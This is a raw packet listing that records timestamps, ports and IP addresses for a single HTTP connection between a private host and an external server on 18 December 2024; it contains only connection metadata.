Dec 18, 2024 11:47:17.893212080 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.893249035 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.893419981 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.893639088 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.894362926 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.894445896 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.894476891 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.894602060 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.895541906 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.895637035 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.895648003 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.895668030 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.896740913 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.896754980 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.896790981 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.896809101 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.897861004 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.897902012 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.897942066 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.898201942 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.899096012 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.899135113 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.899364948 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.899425983 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.900198936 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.900240898 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.900327921 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.900362015 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.901412964 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.901454926 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.901654005 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.901688099 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.902596951 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.902610064 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.902643919 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.902656078 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.903717995 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.903759956 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.904021978 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.904061079 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.904936075 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.904948950 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.904973030 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.904998064 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.906049967 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.906086922 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.906327009 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.906363964 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.907241106 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.907279015 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.907418013 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.907454967 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.908406019 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.908447981 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.908524990 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.908557892 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.909674883 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.909718037 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.909768105 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.909801960 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.910752058 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.910778046 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.910793066 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.910821915 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.912002087 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.912044048 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.912555933 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.912596941 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.913217068 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.913229942 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.913254023 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.913280010 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.914307117 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.914350033 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.915467978 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.915483952 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.915496111 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.915509939 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.915530920 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.916615963 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.916654110 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.916863918 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.916898012 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.917756081 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.917794943 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.918056011 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.918091059 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.918992996 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.919006109 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.919029951 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.919044018 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.920171976 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.920186043 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.920212984 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.920239925 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.921282053 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.921308041 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.921319962 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.921346903 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.922450066 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.922488928 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.922517061 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.922549963 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.923618078 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.923634052 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.923651934 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.923669100 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.924808979 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.924849987 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.925374985 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.925415993 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.925951958 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.925987959 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.926136971 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.926172018 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.927098989 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.927136898 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.928256035 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.928292036 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.928317070 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.928328037 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.928348064 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.928366899 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.929472923 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.929486990 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.929510117 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.929526091 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.930602074 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.930661917 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.931195974 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.931252003 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.931807041 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.931843042 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.931902885 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.931930065 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.932936907 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.932974100 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.933618069 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.933655024 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.934156895 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.934199095 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.934283972 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.934319019 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.935305119 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.935327053 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.935343981 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.935365915 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.936475992 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.936506033 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.937436104 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.937469959 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.067848921 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.067897081 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.068111897 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.068152905 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.068505049 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.068553925 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.068682909 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.068718910 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.069561005 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.069575071 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.069605112 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.069626093 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.071289062 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.071346045 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.071438074 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.071475029 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.072204113 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.072243929 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.072318077 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.072350979 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.073029041 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.073041916 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.073064089 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.073075056 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.073719025 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.073755026 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.073827982 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.073863029 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.074790955 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.074965000 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.075647116 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.075690985 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.075982094 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.075994968 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.076021910 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.076039076 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.077150106 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.077178955 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.077198982 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.077209949 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.078279018 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.078351021 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.078860998 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.078916073 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.079458952 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.079483986 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.079513073 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.079519987 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.080590963 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.080636978 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.080641985 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.080677986 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.081784010 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.081818104 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.082743883 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.082787991 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.083374023 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.083445072 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.083467007 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.083508015 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.084135056 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.084197044 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.084388971 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.084439039 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.085308075 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.085383892 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.085407019 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.085453033 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.086560011 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.086574078 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.086608887 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.086627960 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.087773085 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.087786913 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.087829113 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.088859081 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.088907003 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.088912010 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.088951111 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.090610027 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.090662003 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.090692043 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.090733051 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.091258049 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.091273069 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.091301918 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.091325998 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.092387915 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.092430115 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.092556953 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.092596054 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.093554020 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.093611956 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.093686104 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.093816996 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.094691038 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.094705105 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.094733953 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.094754934 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.095828056 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.095880985 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.095976114 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.096010923 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.096991062 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.097033024 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.097685099 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.097726107 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.098217010 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.098229885 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.098267078 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.099392891 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.099406958 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.099435091 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.099550962 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.100588083 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.100635052 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.100665092 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.100707054 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.101741076 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.101754904 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.101787090 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.101798058 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.102848053 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.102905035 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.103606939 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.103657961 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.104060888 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.104074001 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.104099035 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.104152918 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.105278969 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.105324030 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.105390072 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.105431080 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.106373072 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.106422901 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.106746912 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.106790066 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.107518911 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.107574940 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.108095884 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.108140945 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.108680010 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.108701944 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.108728886 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.108753920 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.109839916 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.109901905 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.110018015 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.110058069 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.111027956 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.111073971 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.111496925 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.111534119 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.112271070 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.112284899 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.112318039 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.112330914 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.113471985 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.113521099 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.113548994 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.113590002 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.114631891 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.114676952 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.114993095 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.115058899 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.115706921 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.115757942 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.116467953 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.116509914 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.116894960 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.116909027 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.116935015 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.116945982 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.118057966 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.118112087 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.118268967 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.118308067 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.119206905 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.119256973 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.119293928 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.119330883 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.120376110 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.120433092 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.121032953 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.121078014 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.121551991 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.121591091 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.121680975 CET	80	49806	31.41.244.11	192.168.2.6
